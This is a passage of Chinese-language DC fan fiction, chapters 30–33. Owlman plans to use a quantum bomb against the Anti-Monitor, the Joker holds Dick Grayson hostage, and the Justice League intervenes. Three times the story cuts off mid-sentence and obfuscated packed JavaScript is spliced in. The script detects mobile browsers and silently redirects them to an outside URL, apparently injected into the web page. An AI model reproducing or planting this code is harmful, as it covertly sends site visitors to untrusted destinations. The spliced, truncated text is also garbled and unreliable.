‘看,我尝试过了。’ ‘我们面前只有一条路可走。’ ‘砰——’ 同样的响声。 多年前让哥谭拥有了夜枭。 多年后让夜枭拥有了哥谭。 他们本该不停地、不停地纠缠下去,直到短寿的那一方彻底离开。他的名字也许会化作盘旋在夜空上的阴影,在人们心中留下不可磨灭的印记。 但也可能他什么都不是。 这座城市短暂地为他所有,永恒地在宇宙中流浪。 结果反监视者给了他一个机会,以实现他某个隐秘的愿望—— 我们能否没有负罪感地书写自己的结局? 我们能在生命中的最后时刻彻底拥有唯一且重要的东西吗? 辛迪加绝对想不到。布鲁斯心想。 夜枭反应不是如何活下去,而是怎么拉着他想要前往平行宇宙的‘同伴们’一道死。 唯一的例外是利爪,理查德·格雷森。 “……你不赞同。”夜枭观察着他的表情,慢慢说道,“我很意外。” 蝙蝠侠:“……” “没错。”他慎重地说,“我们。在‘我的世界’,有更多办法。你也有更多办法。” 夜枭笑了笑。 “你说得对。” 紧接着他说: “我后悔了,你和我们不一样。我或许应该晚点再来。” 布鲁斯心中陡然生出危机感。然而他的武器被对方收走了,他们堪称友善地相处过一段时间,猫头鹰试图了解他——小托马斯·韦恩现在确实了解他,至少是他的一部分。 牢房的金属棚顶弹出一排气体喷头,是吸入式麻醉剂。 “等等!!”布鲁斯说,“托马斯,你——” 他话未说完,眼前发黑,对四肢的控制力逐渐减弱。 昏迷之前用最后的力气按住了手腕内侧隐藏着的信号发射器。 30. 它只是恰当 “托马斯——汤米!”男孩气喘吁吁地跑过来,“别走得那么快。刚才母亲找你,你去哪了?” “……” “汤米?” “我去找阿尔弗雷德……让他放弃他的黄瓜三明治,我吃那玩意吃得恶心。” “你最好去和妈妈说一声,汤米,她看你不在有点生气。” “是你生气了吧。还有,叫我托马斯。” “汤米。汤米。汤米。”男孩一连重复三次,然后笑了起来,“好吧,托马斯。你最近有点奇怪,爸爸妈妈在忙,没工夫管你,只有我发现你不在自己的房间里。但是下个月他们有空闲时间了,我订了四张《佐罗》的电影票,你必须和我们一起去,而不是整天和阿尔弗雷德待在厨房里研究酸黄瓜与蛋黄酱。” “……好的,布鲁斯,我当然会和你们一起去。” “你没瞒着我什么事吧?” “或许有。” “而你不会告诉我?” “我在考虑,布鲁斯,值不值得冒着风险告诉你一点‘小秘密’。” “这有什么好考虑的,我是你‘唯一’的兄弟。”布鲁斯快步走到前面,转过身来一边倒退走路一边说,“我倒是要告诉你一个秘密。你知道我们庄园的井底下有什么吗?前两天我不小心掉进去了。你不在家,是爸爸吃饭的时候发现少了一个人才叫人把我捞上来的。” “什么?你没说过,摔伤了吗?” “没有,不过我吓了一跳。”男孩神秘兮兮地凑过来压低声音,“井底一片漆黑,我惊扰到了里面的怪物——是一大群蝙蝠!它们朝我扑过来,我闭上眼睛,听到身边到处都是翅膀拍动的声音,过了好几分钟才消失。” “那确实很吓人。你在井底待了多久?” “很长时间,我出来的时候天都黑了。我这辈子都不想再靠近那口井,妈妈说等她过两天有时间就叫人把井填掉。说真的,尽管我害怕蝙蝠,但……” “它们也有点酷?” “没错!”布鲁斯高兴地过来碰拳,“所以你觉得我们能说服妈妈别管那口井和井里的蝙蝠吗?就那么放着行不行?” “不用你,我可以试试。” “棒极了。今天晚上的黄瓜三明治能不能也交给你?” “不行,别做梦,布鲁西,我只联想到它的味道就想吐。” “啧,我刚才还想夸你就像电影海报上的佐罗一样。有机会我要让爸爸给我买一把枪,再带上多米诺面具出门。到时候起个什么代号好呢……” ** 不知不觉我开始回忆过去,很难说这是不是一个好兆头。 韦恩庄园的蝙蝠们最终还是存活下来。因为几天后,放言要填井的人死了。 我没有给自己起蝙蝠相关的代号果然是个明智的决定,它注定属于另一个人。 现在这个人被我的高浓度麻醉药干翻在牢里,我没想到是这样的结果,不禁反思了一下,觉得自己之前的行动确实有些欠考虑。 我仍然记得八岁策划那起犯罪行动时,心中想法差不多是‘大不了一了百了,死前再拉几个垫背的’。 后来我就没有再产生过这样与人同归于尽的念头。我有了目标和方向,体感时间流动的速度一下子变得快了许多。阿尔弗雷德认为这是好事,所以除了在腌制酸黄瓜上面数十年如一日的毫无长进之外,不管是管理哥谭与辛迪加、还是调查平行宇宙,他都为我提供了许多帮助。 跳槽到平行宇宙,是我第二个不怎么积极的想法。那时候量子本态炸弹这种反常理到可以塞满一沓学术期刊的武器还没有摆在我面前,我已经考虑过跑路时拿着核弹进行扫尾。 不过我告诉自己,‘我得始终记得自己全部行为的根本目的——是为了更好的活着,而不是寻求无节制的死。’ 所以多年后我进行了一个主宇宙哥谭两日游。 截止到片刻之前,我也不认为我的决定背叛了我的初衷。 它只是……一种恰当的选择。假如世界末日不可避免,假如我们谁也不能战胜反监视者,那么就只有两条路可以走。逃往平行宇宙的确是一种方法,只是密特隆那天坐在我前面说过的话让我反复思量。 他说:“反监视者已经吞噬了无数个宇宙,地球-3是他的下个目标。” 他还说:“你和其他人不一样,破局点说不定在你身上。” 也就是说,地球-3并不是反监视者征途的终点。他为不知名的原因,迟早会毁灭全部平行宇宙并最终前往主宇宙,逃亡只会得到一时的安逸,而不是永远。 其次,量子本态炸弹并不是那么简单的武器。 俗话说遇事不决量子力学,我手中握着的就是足以摧毁万物的密码。它是这些年来我和辛迪加的超能力团体们平起平坐、以及卢瑟在得到‘赞沙之力’后仍然愿意过来找我谈合作的原因之一。 如果我向着地球-1发射炸弹,包括主宇宙在内的全部以它为蓝本衍生出的平行宇宙都会瞬间消失殆尽,我灭世的速度能比反监视者还要简单快速无痛,从这个角度上说,我去找反监视者自荐转行说不定会比较合适。 综上所述,在反监视者到来之时使用量子本态炸弹,这条计划的产生并不出于我的任何想法。 它只是恰当。 至于带着理查德来见蝙蝠侠,我为自己想过很多冠冕堂皇的托词。比如他最有可能被他们接纳,也最有可能适应陌生的颠倒的宇宙等等。 ——其实都是屁话。要炸掉宇宙的人是我。 事到如今我愿意承认,我爱哥谭,我也爱这个世界。 ——不打算放过除了理查德之外任何一条生命的人是我。 毕竟人总需要有归属感的土壤,问题在于我很难找到一个愿意承认我们的地方,我们密不可分、互相倚靠。 ——都是屁话。 去掉借口,真相就是我举起屠刀,对准了我和我面前的一切。 为什么? ……不,我们今天也不谈论理由。 反正事情总会结束。 ** 然而我话说早了。 我本打算今天到此为止,先带着理查德回去哥谭,等反监视者来到这里、证明超霸他们确实加起来都打不过这家伙后,我再叫醒蝙蝠侠,把利爪塞到他手上,然后将这两人打包发送给正义联盟。 之后理查德是继续做他的利爪,改行换个职业成为罗宾,亦或是隐姓埋名做个普通人就都和我没关系了。 结果我绕着辛迪加总部转了两圈,没找到人。 最后去了监控室,在坏掉的屏幕前面发现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064601|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张画着笑脸的便签纸:Surprise猫头鹰,希望你一切都好,人际关系健康,家庭完整。我们今晚在老地方见,我准备了你磨得不太锋利的小爪子作为礼物~ 是小丑。哥谭距离大都会有三个小时的车程,他早就到了。 我盯着便签看了一会,感觉到难以遏制的怒火取代了心脏的跳动、在我胸膛中沸腾起来。 ** 差不多的时间,主宇宙。 “准备好了吗?”超人问他的同伴们。 几天前的凌晨,蝙蝠侠传讯说地球-3近况基本稳定,他不需要正义联盟的帮助。只是以防万一,他在手腕上安装了一个米粒大小的信号发射器,藏在盔甲的金属接头里,不会被检测装置发现。 五分钟之前,正义联盟接收到信号。 “感谢地球-3卢瑟提供的坐标,以及蝙蝠洞的技术支持,两个宇宙间信号传输延迟应该不超过半个小时。”超人环顾四周,“但是我们依旧要抓紧时间,目前还不知道蝙蝠侠那边情况如何,我和闪电侠先去看一眼,你们随后,留下一到两个人驻守在主宇宙。有没有问题?” “没有。” “Okay。” “看看是什么让蝙蝠侠改主意向我们求助了,伙计,我估计是很难被解决的大|麻烦。” 反转宇宙的太阳和空气看上去和主宇宙没什么区别。 “是大都会。”超人立刻认出来自己生活的城市,“看来前面这栋建筑就是辛迪加总部,我们得低调点,巴里,最好别撞见任何人。布鲁斯说这里的‘超人’依靠氪石获得超能力,而反转宇宙的氪石完全不限量。” “也就是说你可能在任何一处地方撞见致命物品。”闪电侠问,“让神奇女侠打头阵是不是更好点?” “之前没来得及解释,神奇女侠跟不上你的速度也办法透视建筑。钢骨可以连上这边的网络,然而风险太大。”超人低声道。 超霸并不喜欢在自己的房子里放阻挡视线的东西,超人已经发现了目标,和闪电侠一起向着目的地高速前进:“我们两个直接找到布鲁斯。如果他受伤或者被关起来了,我负责破坏掉周围的障碍物,然后我们直接带着人先回去主宇宙。” “你说得有道理……怎么停下来了?” “嘘,有人在往这边走。通往蝙蝠侠所在地的只有一条路,没法避开。” 闪电侠闭紧嘴巴,忍不住凝神细听走廊中传来的脚步声。 很急促,但频率在正常范围内,说明来者没有超级速度也不会飞行。 趁着人还远,超人小声说道:“我看不清他的脸。他穿着制服……样式有点像布鲁斯那件。” 闪电侠立刻联想到一位被蝙蝠侠重点科普过的辛迪加成员——之所以说‘重点’,是因为与正义联盟互通消息时,蝙蝠侠就只亲眼见过这一位反转宇宙的同位体。他们两个相处的时间最长,夜枭还去到过主宇宙。 闪电侠:“垃圾桶?” 超人肯定道:“垃圾桶。” “蝙蝠侠说过夜枭和反转宇宙的其他人不太一样。我们有没有可能向他求助?” 超人犹豫了一下。 他摇摇头。 “如果夜枭可信,蝙蝠侠没必要给我们发信号。也许有哪里出了问题,等会看看再说。” 31. 混乱伊始 超人和闪电侠鬼鬼祟祟地猫在走廊右侧的空房间里,听着夜枭的脚步声逐渐远去。 “他走了。”过了一会,超人说道,“没发现我们。” “大概是有什么急事,说不定和蝙蝠侠突然叫我们过来有关系。”闪电侠打量周围环境,“这是他们的休息室?” 他身后有张茶几,上面摆着糖果盘。 “你猜这是什么糖?反转宇宙的糖会是苦的吗?” “你可以抓一把带走,送去我们那边的星辰实验室做研究。但是……嘶!!” 闪电侠小心翼翼地把其中某一颗糖的袋子撕开了,超人讲话讲到一半忽然倒抽一口凉气,反应过来的巴里连忙将仅有几毫米长的开口牢牢压紧,再塞到果盘底下。 “氪石。”超人扶着墙痛苦面具,“我们快点离开这。” 他们跌跌撞撞地冲出房间。 “抱歉,我没想到。”闪电侠大受震撼,“超霸居然把它的母星碎片包在隔绝辐射的糖果纸里!可是这颗星球上不是只有一个能吃氪石的氪星人吗,他这么做有什么意义?如果我没看错的话上面还有生产日期——氪石会过期吗?” 氪石会过期吗?? 超人罕见地摇摆不定,犹豫道:“可能有些文化差异。” 不知道是不是时间正好,这会辛迪加总部里面一个人都没有。 他们很顺利地找到了关押同伴的囚室,问题是夜枭既防备蝙蝠侠、也防备辛迪加的其他成员,这就造成蝙蝠侠至此仍昏迷不醒,超人他们又很难靠近目标。奋斗了不下二十分钟,克拉克蹲在囚室外面红太阳光照不到的地方,看闪电侠第不知道多少次尝试用神速力穿过门板。 这时他接到传讯,神奇女侠说他们已经到了,刚刚和辛迪加打了起来。对面有主场优势,再加上正联人数少,现在出于下风,让超人如果找到蝙蝠侠就赶快带着人先跑再说。 ……怪不得这么长时间过去总部里还是没人呢,原来在外面撞上了。 闪电侠暂时没往夜枭得防备队友上面想,眼看又要因为奇怪的理由错过原定汇合时间而迟到,不禁问道:“辛迪加是不是以为自己关着的是哥斯拉?” 蝙蝠侠的待遇也太豪华了! 又过了十分钟,钢骨帮忙破解一部分系统,他们终于得以冲进去,把失去意识的蝙蝠侠拉到健康自由的空气当中。相比之下从里往外突破居然简单得多,意识到这点的超人和闪电侠又是一愣。 结果清醒过来后,蝙蝠侠并不打算马上离开。 他发现距离自己和夜枭对话结束还没过几个小时,这时小托马斯竟然不在辛迪加总部,就很不寻常。为此他坚持要先跑一趟监控室,想找到夜枭离开时的影像,却注意到有几枚摄像头被人为破坏了,证明辛迪加的某位对手短期内曾来拜访过。 想到夜枭特意支开理查德·格雷森,以防年轻人听到两个成年人的对话,蝙蝠侠就隐隐有不祥的预感。 ** 地球-3,哥谭。 今天城市天空是晴朗的。哥谭总有几个月的好天气,万里无云、阳光普照。你要是才来这不久,难免以为黑暗已经过去,自己将迎来一段死海般风平浪静的日子。 然而多数时候,结果恰好相反。 理查德被绑在天台顶端的一把金属椅子上。他仅有脚尖能触碰到地面,就利用绝佳的身体平衡性,以靠背椅后腿为支撑点前后摇晃,发出有节奏感的‘咔哒’‘咔哒’声。 小丑坐在他前方不远处水泥天台的边缘,也不嫌理查德发出的声音烦,垂着头慢吞吞地用皮鞋尖挑弄下水管道旁的一只死老鼠。他面色惨白,像刷了层石膏,眼睛一眨不眨,鲜红的嘴角居然向下垂着,勾出瘦削的面颊上两条深刻的法令纹。 远处哥谭钟塔开始报时,理查德和小丑同时往发出声音的方向望了一眼。后者一脚把老鼠尸体踹进踹进塑料管道,骂道:“两点,该死!” “你着什么急?”在场除他以外的唯一一个活人问他。 “我不该着急吗,孩子?”小丑脸上毫无笑意,声音紧而高亢,显得有些神经质,“留给我们的时间不多了!” 理查德晃椅子的动作一顿:“我看还早呢,足够你赶在夜枭过来之前多想几条遗言。” “哈哈哈。”小丑发出笑声,嘴角仍然垂着,带着紫色手套的双手搭在膝盖上凝视天台边缘,仿佛在指望那突然钻出来个猫头鹰似的,“你猜怎么着?我倒是宁可他杀了我——只杀我一个人。” “……”诡异的沉默。 片刻之后,理查德皱起眉,表情困惑:“你终于疯了吗?这件事不难办到,如果托马斯不愿意,我也可以代劳。” “‘终于’?原来小丑究竟疯没疯在你们当中尚无定论?这真是个绝妙的笑话,我忍不住想笑,孩子,但是我今天笑不出来,要是几个月——甚至几天前,我都会因此而笑个不停。可是现在我想说,我没疯,疯的人不是我,这就是有意思的地方!” 理查德心生茫然。 明明身陷囹圄的人是他,小丑却心不在焉、左顾右盼,像个初出茅庐的犯罪新手。这位哥谭市赫赫有名的通缉犯,目光时常凝滞在空中,讲话时盯着理查德看个不停,实际上根本没把他纳在眼里。年轻人还注意到小丑的鞋尖一直在地上碾来碾去,时不时发出沉重的呼吸声,显得十分烦躁不安。 ‘留给我们的时间不多了’? ——到底发生了什么? 过了一会儿,小丑开口问道:“理查德·格雷森。你愿意为夜枭做任何事吗?” 理查德缓缓收起脚尖,椅子前腿落地,发出一声闷响。 他笑了起来:“不然呢,我知道谁对我好。” “大错特错了!!”一直憋在心里的情绪猛然爆发出来,小丑忽地站起身,吓了理查德一跳,就听见这绿头发的疯子大声说道,“他爱我们,爱这世上的所有人,唯独你是个例外!” 理查德想说点什么,有人比他更快——35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064602|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 漆黑的影子降落在天台一角,夜枭看着他们两个,眼神很快从理查德身上移开,对小丑说道:“听上去你对此有颇多独特的见解。” 小丑放下手臂回头:“啊,夜枭,下午好。” 今天真是个好天气,甚至比往年这个时候都要平和。他们三个人头顶上一片云都没有,天空蓝得有些吓人,金黄色的阳光毫无遮掩地泼洒下来,周围是雪白的楼房顶,边缘点缀着一点黄褐色的斑纹,楼底下传来车流急促而憋闷的喇叭声。 你不能说这一切有哪里异乎寻常,这是再普通不过的一天。理查德想。他被太阳晒得有些头昏脑胀,也可能是维持在一个姿势不动的时间太长、身体血液循环不通畅导致的。不管怎么说,在这样一个本该能让人身心愉悦的下午,身处在危机之中的年轻人不知怎么的觉得有些困倦,或者说周围的一切就如梦境一般,飘渺得有些不真实。 他用力晃了晃脑袋,看到夜枭站在他们对面不远处,小丑则将手搭在他身后的椅背上。 “谢谢你愿意来,猫头鹰。如你所见,格雷森先生截止到目前还完好无损,也许掉了两根头发,我不确定。这能证明我同您交谈的诚意吗?事实上我还准备了其他礼物——” 夜枭手指微动。 理查德看不到小丑的动作,不过他听到了塑料按钮被触动的声音。这让他的监护人差点不顾一切地冲过来,又在发现理查德完好无损时克制住自己并收回脚步。 小丑为此发出嗬嗬的、濒死者喘息般的笑声。他们脚下地面则因为阳光暴晒而颤动……不,不是。理查德盯着远方泛起烟尘的地平线看了一会,意识到这振动来源于小丑在不知道什么地方埋藏了炸药。 幸而对方很快就自己给出答案: “离得最近的是谜语人,最远处是贝恩,中间有毒藤女杀手鳄沼泽怪物之类乱七八糟的家伙。不用感谢我,Mr.Owl,我什么都没干,只是以你的名义炸了他们所有人的老家。” “如果你想知道更多的话,我还可以告诉你,死亡射手在东边某一栋楼里,丧钟在西边某一栋楼里。他们彼此不知道对方存在,可是他们看得见我手里这个孩子。你随时能解决掉我,但你只要稍稍靠近,就难防至少有一颗子弹会命中一个无辜的脑袋。” “马上这座城市就会短暂地陷落,因为泥沟里打滚的渣滓们一无所有了,他们只能团结起来倾其所有地对抗你——来拯救世界。” “我很遗憾,亲爱的托马斯,希望你喜欢我的礼物,并原谅我的过错。” 小丑说完就沉默下来。 夜枭评估几秒钟,而后妥协般地用略微沙哑的声音问道:“你要什么?” …… 理查德既看不清他的表情,也不知道小丑现在在想些什么。他只朦胧地感知到,有他所不了解的巨大的变动已悄然发生。 小丑: “我要你手中的量子本态炸弹。” “不可能。”夜枭想也不想地说。 32. 暴风雨来临之前 “等等?你都不考虑一下?”小丑表情裂开了。 这种情况难道还指望我说出什么好话? “不可能。” 我又重复一遍,看向理查德。他嘴巴没被堵住,但只是安静地看着我。他已经不是当年那个会因为父母的死而流泪的孩子了。我对小丑说:“换个条件。” “只有这个。”小丑也很坚决,“你知道你现在在干什么吗?” 他表情这么严肃,我就有点想笑。其实小丑能猜到我要干什么并不奇怪,毕竟他见过蝙蝠侠,然后他就多少能理解‘正不正常’这件事有多难以界定。 我这里的小丑和蝙蝠侠还不一样,后者会把我往好的方向想。这不是因为各种各样亲疏远近血缘这那的奇怪理由,蝙蝠侠身上又没有笼罩着圣父光环,我身上也没那种一眼万年的特殊buff……只是适应我们的思维方式需要时间。 “当然。”我对他笑了笑,“看来你听说反监视者的事了。你以为我要做什么?” 像之前蝙蝠侠那样,小丑也哽住了,沉默好半天才说道:“瓶子里的魔鬼。” 旁边理查德没听明白:“什么?” “渔夫,瓶子与魔鬼!见鬼,夜枭没给你讲过这个故事吗?有个渔夫捡到瓶子并放出了里面的魔鬼,魔鬼却想要杀了他,渔夫问‘为什么’……为什么?!哪有为什么!因为我们就是这样的!我们这个世界的所有人!” 小丑又踢了一脚,这次踹的是理查德的凳子腿。年轻人控制不住向后倒去,而他正坐在天台边缘,身后是阳光璀璨的万丈深渊—— 千钧一发之际,小丑飞快伸出手勾住椅背。靠背椅倾斜45度,仅有两条后腿与地面接触,半悬在空中。 接着他佝偻着腰、像马戏团小丑表演到精彩处时面对观众那样转过头来看我。 我反应及时,但我没动。 如果你在生死边缘走过太多次,就会在紧要关头获得一种异样的冷静——或者说麻木。我情绪毫无起伏,呼吸也没乱,站在原地听着遥远的风在我耳边呼啸而过,潺潺流水在塑料管道中流淌,顶楼的居民用最大音量放着巴赫第一大提琴组曲中第二号的萨拉班德舞曲,缓慢、低沉而悠扬的乐声像丝带一样缠绕在我周围,这丝带尾端吊着摇摇欲坠的木桶,木桶里装着我眼前的整个宇宙。 小丑又说:“给我你手里的量子本态炸弹。” 嘎吱、嘎吱。 靠背椅的尾巴和地面摩擦。 我放轻声音,注视着理查德的蓝眼睛,第三次重复道:“不可能。我需要它们。” 我需要…… “是吗,我很遗憾!我以为你多少有点在乎这个孩子呢。就在你亲手杀了你的弟弟之后,你把父母双亡的理查德·格雷森接到家里来,难道不是因为你需要这样一个‘兄弟’吗?” “……” “什么?!”我还没说话,半个屁股都悬在空中的理查德用力抬着脑袋震惊地问我们,“谁杀了谁?” 我没理他,小丑也是。 小丑换一只手扶着椅子,看着我说:“你花费数年时间观察格雷森马戏团,你对约翰和玛丽·格雷森夫妇的动向了如指掌,你知道他们贪婪又愚蠢、并最终死于这样的贪婪和愚蠢,你放任他们死在你面前、变成两具棺椁中的尸体,你带走了他们的孩子然后每年带着他去他们的坟墓前送上鲜花念几句追忆往昔的悼词,老天!”他语速越来越快,“你为这孩子做了这么多,我还以为你已经开始有点喜欢他呢!” 我在他说最后几句话时忍不住往前迈了半步,一枚子弹擦着理查德的脸颊崩在地面上,另一枚就落在离我脚尖不到一英寸的地方。 “而现在!”小丑没管子弹,也没管我,几乎是声嘶力竭地咆哮道,“你甚至不愿意为了他来可怜可怜这个宇宙!” “眼下来恳求我已经太晚了。”我面无表情地道,“人只要还没有亡故,就是向死的方向活着。反监视者到来之后,你的挣扎毫无意义。你和你的同伴正走在那条横跨深渊的桥上,等桥断了,你向下坠落,才知道深渊就是生活本身。” “所以你就朝着自己开枪?!你憎恨自己远超这个世界,可是你……” “你们知道吗?”理查德忽然打断我们,“我现在还他妈不明白你们两个在打什么哑迷。反监视者是谁?托马斯想干什么?他杀了谁?谁是渔夫,谁是魔鬼?这和你——小丑,以及被你召唤过来一群哥谭罪犯又有什么关系?” 我不知道他骂人话是从哪学来的,家里没人说脏话。不过这个年纪的孩子,倒也不是不能理解,和家教、成长环境、本身性格都没太大关系,就是到了这个年纪。 他还没成年。 不成熟。不冷静。不理智。但很聪明,足够敏锐。 “其实事实也不重要。”黑发蓝眼睛的少年对我们两个成年人露出一个狡黠的笑,“重要的是我才是有能力决定胜负的人。” “不……” 我话音才刚挤出喉咙,理查德下半身反向用力,挣脱了小丑抓着靠背椅的手。 小丑发出一声尖锐的咒骂,他弯下腰想把靠背椅扯回来,可是已经来不及了。我知道来不及,所以我仍然没动。我熟悉相似接触面积下受到空气阻力影响的下落速度是什么样。我了解这个过程中,生命是怎么从坠落者的眼神中消逝的。我注视着那些人绝望的眼睛,就像此刻的我远望着我唯一的家人。他脸上还带着笑,仿佛张开翅膀面向天空自由翱翔的鸟,我甚至觉得这一刻他心中充盈着盛大演出谢幕之时的心满意足的快乐。 上一次理查德被我亲手从楼顶上扔下去。 那时我知道阿尔弗雷德会接住他。 而今日之后,阿尔弗雷德或许会问我:“那时您在哪呢?” “理查德少爷死的时候您在哪?” 若干年过去,我知道世界是不会被改变的。 我曾以为我憎恶它,可是实际上我还不如它。 因为我会变。 不知道过了几秒钟,还是几分钟,或者几个小时。我一动不动,小丑也一动不动。我们比矗立着的两台雕塑还僵硬。萨拉班德舞曲的丝带仍然在我身边旋转,它吊着的木桶空空荡荡,里面什么都没有。 然后—— 蔚蓝的天空下飘扬起一抹炙热的鲜红色,倏忽而至,又骤然升空。我好一会都没弄明白发生了什么,就听见布鲁斯在我身后不远处说:“超人接到他了。” 超人。 正义联盟。 意识到蝙蝠侠为什么会出现在这的时候,我就反应过来是他叫了正联。我也不觉得惊讶或惊喜,抬起头就看到超霸与超女王气势汹汹地赶来落在我身边,后面跟着联盟其他成员,不管我们实际关系如何,至少现在,辛迪加才是我的盟友。 理查德被超人半抱在怀里,他会活下来,不论在什么地方。 这是开幕。这是终局。 我对正义联盟说:“这是战争。” ——我同所有人的战争。 ** 有趣的是,当我清晰地意识到,我面前的任何人都是我的敌人时,他们反而不约而同地显得有些迟钝。 目前情况是这样的: 正义联盟到来之后,丧钟和死亡射手就不再具备威胁性,然而正如小丑所说,只要我不放弃量子本态炸弹的使用权,哥谭有名有姓的通缉犯们一定会联合起来对抗我。 辛迪加与正义联盟开战,是因为正联招呼都不打一声地入侵了我们的地盘——他们来是为了蝙蝠侠,蝙蝠侠在这是因为我。但我觉得这事不能怪我,只能说局势瞬息千变万化,你永远不知道明天即将发生什么。 而这场战斗之所以没有立刻结束,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15064603|163057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 由于超霸他们暂且还不知道我想干什么。很快小丑和卢瑟就会把‘夜枭打算用量子本态炸弹炸掉包括反监视者和他自己在内的所有人’这条消息公告天下,到那时我就会陷入四面皆敌的被动局面。 话虽如此,辛迪加却不一定会相信小丑。 特别是卡尔还在质问我们‘谁动了他的氪石糖’的时候。 其他人据理力争地表示除了氪星人之外没人能吃石头,所以这一定是正义联盟的超人出于嫉妒才撕开包装纸还把里面的糖扔在那晾着、让能吃的不能吃的谁都没法吃。 我在他们吵架的间隙找到一边旁观的超女王,对她说:“我有一个计划。” 露易丝撩起耳边的发丝,微笑着看过来:“讲讲看,亲爱的?” “我知道你想和莱克斯合作,你觉得他是唯一有希望战胜反监视者的人。”我长话短说,“只是他作为后路恐怕不够保险。” “所以呢?” “我要你成为我的盟友,只有我们两个。” 我靠墙站在她身边轻轻地说,我们两个对话时都在遥望着远处吵闹的同事。 超霸为了同反监视者决战囤积了大量氪石,这两天他修身养性收敛不少以节省体力,不会把超能力浪费在窃听我和露易丝的谈话上——毕竟我们以前也总是躲在角落里说些有的没的。 “你这是在为难我,托马斯。”超女王口吻亲密,说辞却很冷酷,“要知道,你在与反监视者的对决中可派不上什么用场。” “这就是我要说的。我既不能拉着反监视者同归于尽,也不能作为超能力者,成为卢瑟‘杀人后会得到被杀者力量’的能力的养料。” 我并不在意她的话,直接顺着往下说,“但是你想没想过,如果我们失败了呢?如果辛迪加最后就只剩下寥寥数人,你打算拿什么支配平行宇宙、享受我们如今的权力和地位?亚历山大·卢瑟?他再强也只是一个人。” 露易丝闷声笑起来:“不愧是你,夜枭,总能给自己找到出路。” 我平静道:“作为一个普通人,我能活下来就已经很不容易了,总要比你们想得稍微多一点。” “别在我面前开这种玩笑。”露易丝侧过身撑着我身后的墙壁,凑过来在我耳边悄悄说,“我快要心动了,honey,可是我为什么要答应你,而不是……”她拿腰间挂着的屈服套索碰了碰我的指尖,“用它把我们两个牵在一起,这样你什么都会告诉我,包括量子本态炸弹的使用密码。” “你不是试过了吗?”我抓住她的手,另一只手臂像跳交际舞那样环住她的腰,吻了吻她的面颊低声说道,“在我向你下跪之前,就能拉着我们所有人一起去见撒旦。” 超女王眨了下眼睛:“你说得对,我差点忘了……了不起,夜枭。我答应了,现在说说你的计划。” “我会负责去威胁主宇宙,如果他们不听话,Boom——问题在于,利爪在他们手上。” “嗯哼,你的小跟班?” “是啊。”我说,“所以很不幸的,正义联盟会知道我有一枚足以威胁他们的炸弹。他们和小丑合作——” “你的城市里那位孜孜不倦给你添麻烦的家伙?我以为你留着他是因为有趣。” “是他,老鼠有时候也会给猫带来麻烦。他们会反过来,试图从我口中逼问出炸弹的密码。” “那可是我都不敢担保能够做到的事情。”超女王自言自语地说,“他们会怎么做?”她的目光在我和辛迪加之间逡巡,忽而问道,“挑拨离间?” 我没说是也没说不是: “看着吧,暴风雨到来之前总会有所预兆。” 超女王还打算说点什么,不过她突然住口了。 超霸从远处向我们这头飞过来,看看露易丝又看看我,注意力重点放在我们目前的姿势上:“你们干什么!” 33. 身份调换 超霸以为我和超女王发展出了一段超越友谊的关系。 他这么想也不奇怪,这毕竟是个美……我是说,dc同人世界,大概。之后我又不得不花了半个小时的时间安慰自尊心受挫的氪星人,露易丝走了,我和卡尔在大都会总部的顶楼坐了一会,但没说什么特别的。临走前他叫我“老实一点”,而我让他“别想太多”,强大到他这种程度,最需要的就是别想太多。 之后我回到哥谭。 从开战之时起,哥谭就变成了前线,当天傍晚稻草人和谜语人血洗GCPD,我接到警报时一出门,两具尸体被挂在韦恩庄园门外的树梢上来回摇晃。阿尔弗雷德已经举枪瞄准了,发现是死人,又把手臂放了下来,走过去检查后对我说:“那两只美洲雕鸮巢里的蛋被拿走了。” 我:…… 我们城市的警察死不瞑目,你就关注家门口猫头鹰的崽子没了是吗? 大概是我的表情显示出了我的无语,阿尔弗雷德又补充说:“谜语人控制住警察局局长,现在向政府宣称整片三角岬地区都在他们的掌控之内。您要动用武装部队吗?” “不急。”我说,“其他人呢?” “据我所知,毒藤、沼泽怪物、萤火虫和格兰迪撤到唐人街一带,泥脸、疯帽匠、急冻先生……可能还有企鹅人,我不确定,他们在哥谭老城。小丑和贝恩还没有出现。不过目前来看,这群人的首要目标是占领市政区。” “嗯……正义联盟没有动静?” “如果您问得是另一只猫头鹰崽儿的话……一点动静也没有。” “我没问理查德·格雷森。” 阿尔弗雷德耸肩:“您还有别的事吗?我需要去看看我的腌黄瓜怎么样了。当然,如果您决定今天晚上就开战的话,记得叫上我。哦,免得您嫌我碍事,不叫也行,但记得洗干净的制服在你房间左手边第三个柜子里。” 我忍不住回头看了他一眼,有那么点怀疑他在因为我不声不响地决定把理查德送走而跟我怄气。 